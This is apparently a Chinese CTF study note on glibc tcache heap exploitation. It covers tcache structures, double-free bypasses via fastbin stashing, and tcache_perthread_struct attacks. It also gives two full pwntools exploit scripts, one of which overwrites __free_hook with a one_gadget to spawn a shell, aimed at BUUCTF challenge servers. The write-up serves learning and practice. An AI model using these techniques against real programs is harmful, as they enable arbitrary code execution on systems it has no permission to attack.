Tcache
Tcache是glibc 2.26之后引入的机制,与glibc 2.23版本下堆利用方式有一定区别,产生了新的利用方式。
0x1 相关结构体
tcache_entry
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
tcache_entry
用来链接空闲的tcache chunk,其中的next
指针指向下一个大小相同的空闲tcache chunk。
注意:这里的next指针指向的是user data部分,也就是说指向的是chunk head+0x10地址处
而fastbin则指向的是chunk head
tcache_perthread_struct
tcache_perthread_struct
是tcache的管理结构,他:
- 收藏了所有的
tcache_entry
- 记录了空闲tcache个数,也就是
tcache_entry
的个数
这个管理结构会在第一次调用malloc时,先malloc一块内存用来存放tcache_perthread_struct
。因此做glibc >=2.26的题时,gdb调试的时候第一个堆块即为tcache_perthread_struct
。
0x2 基本知识点
- free的堆块,当内存小于small bin size时(0x400),会被优先置入tcache bin链表,当填满七个后,才会填入fastbin/unsortedbin链表
- malloc时,优先从tcache bin 中寻找是否有合适大小的bin。
0x3 常见利用方式
有
tcache poisoning
tcache dup
tcache perthread corruption
tcache house of spirit
tcache stashing unlink attack
等。
具体利用方式,不再赘述。可以去CTF-wiki上看看。
0x4 个人总结
学习完CTF-wiki上对于tcache bin 的利用方式后,我个人在做题中也遇到一些林林总总的问题,也get到了一些知识点。
4.1 tcache double free机制绕过
4.1.1补充知识点
tcache 为空时,如果 fastbin/smallbin/unsorted bin
中有 size 符合的 chunk,会先把 fastbin/smallbin/unsorted bin
中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取。
绕过方式
在glibc 较低版本下,我们可以直接利用tcache dup
,free掉一个相同的tcache 堆块两次。比fastbin double free要好用得多。
经过我patchelf之后发现,libc2.27-3ubuntu1
及之前均可直接使用tcache dup
,当版本大于等于libc2.27-3ubuntu1_
后不可直接double free。
原因是加入了对tcache bin double free 的检测,至于检测的源代码我就不贴了,感兴趣的可以上CTF-wiki上看。
讲讲绕过的办法:
可以通过fastbin double free触发stash,构造tcache任意地址写
具体流程:
- 先free掉多个相同大小堆块(size <=0x80),填满tcache bin 链表
- 继续free掉相同大小的堆块,进入fastbin,构造
fastbin double free
- 将tcache bin链表中的chunk全部malloc回来
- 再malloc一次,即可触发stash,构造任意地址写
步骤一二之后,我们的空闲堆块链表结构应该是这样的:(画的有点丑)
然后经过步骤三之后,tcache链表清空,再malloc时,会从先从tcache bin链表中寻找,发现并没有合适大小的堆块,然后到fastbin链表中找到合适大小的堆块,将fastbin链表中的所有堆块放进tcache中:
然后取走p1,malloc时伪造fastbin p1的fd指针,可以达到任意地址写的目的:
4.2 tcache bin 的一些特性
特性一
calloc时不会去tcache bin中寻找。
例题 gyctf_2020_signin
这道题主要利用了两个知识点:
- 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。(前面补充的知识点)
- calloc不会分配tcache空闲链表中的堆块。
直接贴我的exp了,有兴趣的可以去BUU上做做:
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/gyctf_2020_signin')
r = remote('node4.buuoj.cn',28190)
def new(index):
r.recvuntil(b"your choice?")
r.sendline(b'1')
r.recvuntil(b"idx?")
r.sendline(str(index))
def delete(index):
r.recvuntil(b"your choice?")
r.sendline(b'3')
r.recvuntil(b"idx?")
r.sendline(str(index))
def edit(index,content):
r.recvuntil(b"your choice?")
r.sendline(b'2')
r.recvuntil(b"idx?")
r.sendline(str(index))
r.sendline(content)
def shell():
r.recvuntil(b"your choice?")
r.sendline(b'6')
ptr_addr = 0x4040c0
for i in range(8):
new(i)
for j in range(8):
delete(j)
new(8)
edit(7,p64(ptr_addr-0x10))
shell()
# gdb.attach(r)
r.interactive()
特性二
tcache 中的 chunk 不会合并
Ptmalloc2中,为了整理内存碎片,通常会进行unlink操作,但在tcache中,chunk之间不会合并。
例题 hitcon_2018_children_tcache
做这道题之前我还不知道tcache 之中的chunk不会合并,于是将堆结构 构造成这样之后:
我就很纳闷为什么free掉chunk2不会触发unlink合并chunk1。
后来查资料知道了tcache中的chunk不会合并。
那就只好合并两个unsorted bin 了。
这道题有几个注意事项:
- 注意free之后malloc回来的堆块的index,容易搞错。
- 有OFF BY NULL漏洞,但是因为free堆块时会用memset干扰,所以只能多次利用OFF BY NULL将pre_size写对。
- 主要使用夹心饼攻击,用两个unsorted bin 夹一个较小的chunk,构造chunk overlapping
我的exp:
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# r = process('/mnt/hgfs/ubuntu/BUUCTF/HITCON_2018_children_tcache')
r = remote('node4.buuoj.cn',27042)
libc = ELF('/mnt/hgfs/ubuntu/BUUCTF/libc-2.27.so')
def new(size,content):
r.recvuntil(b"Your choice: ")
r.sendline(b'1')
r.recvuntil(b"Size:")
r.sendline(str(size))
r.recvuntil(b"Data:")
r.sendline(content)
def delete(index):
r.recvuntil(b"Your choice: ")
r.sendline(b'3')
r.recvuntil(b"Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(b"Your choice: ")
r.sendline(b'2')
r.recvuntil(b"Index:")
r.sendline(str(index))
new(0x410,b'a')#0
new(0x28,b'b')#1
new(0x4f0,b'c')#2
new(0x10,b'd')#3
delete(1)
delete(0)
for i in range(6):
new(0x28-i,b'a'*(0x28-i))
delete(0)#trick
new(0x22,b'a'*0x20+b'\x50\x04')#0
delete(2)
new(0x410,b'e')#1
show(0)
libc_base = u64(r.recv(6).ljust(8,b'\0'))-libc.symbols["__malloc_hook"]-0x10-96
log.success("libc_base: "+hex(libc_base))
new(0x20,b'a')#0#2
delete(0)
delete(2)
free_hook = libc.symbols["__free_hook"]+libc_base
new(0x20,p64(free_hook))
new(0x20,b'a')
one_gadget = libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
# gdb.attach(r)
r.interactive()
4.3 打tcache_perthread_struct结构体
tcache_perthread_struct
结构体里有着
①Tcache的next指针
②空闲堆块数。
控制该结构体即可:
- malloc到任意地址
- 改变空闲堆块数,free可得到unsortedbin
4.4 tcache bin 下标
具体可参照glibc源码,是将Tcache bin下标看作无符号整数的。
因此我们可以构造出 circle list后,add三次,此时tcache bin 下标变为负数。
此时由于下标是无符号整数,转换过来会得到一个很大的数,自然大于7,因此此时再free堆块即可进入unsortedbin范围。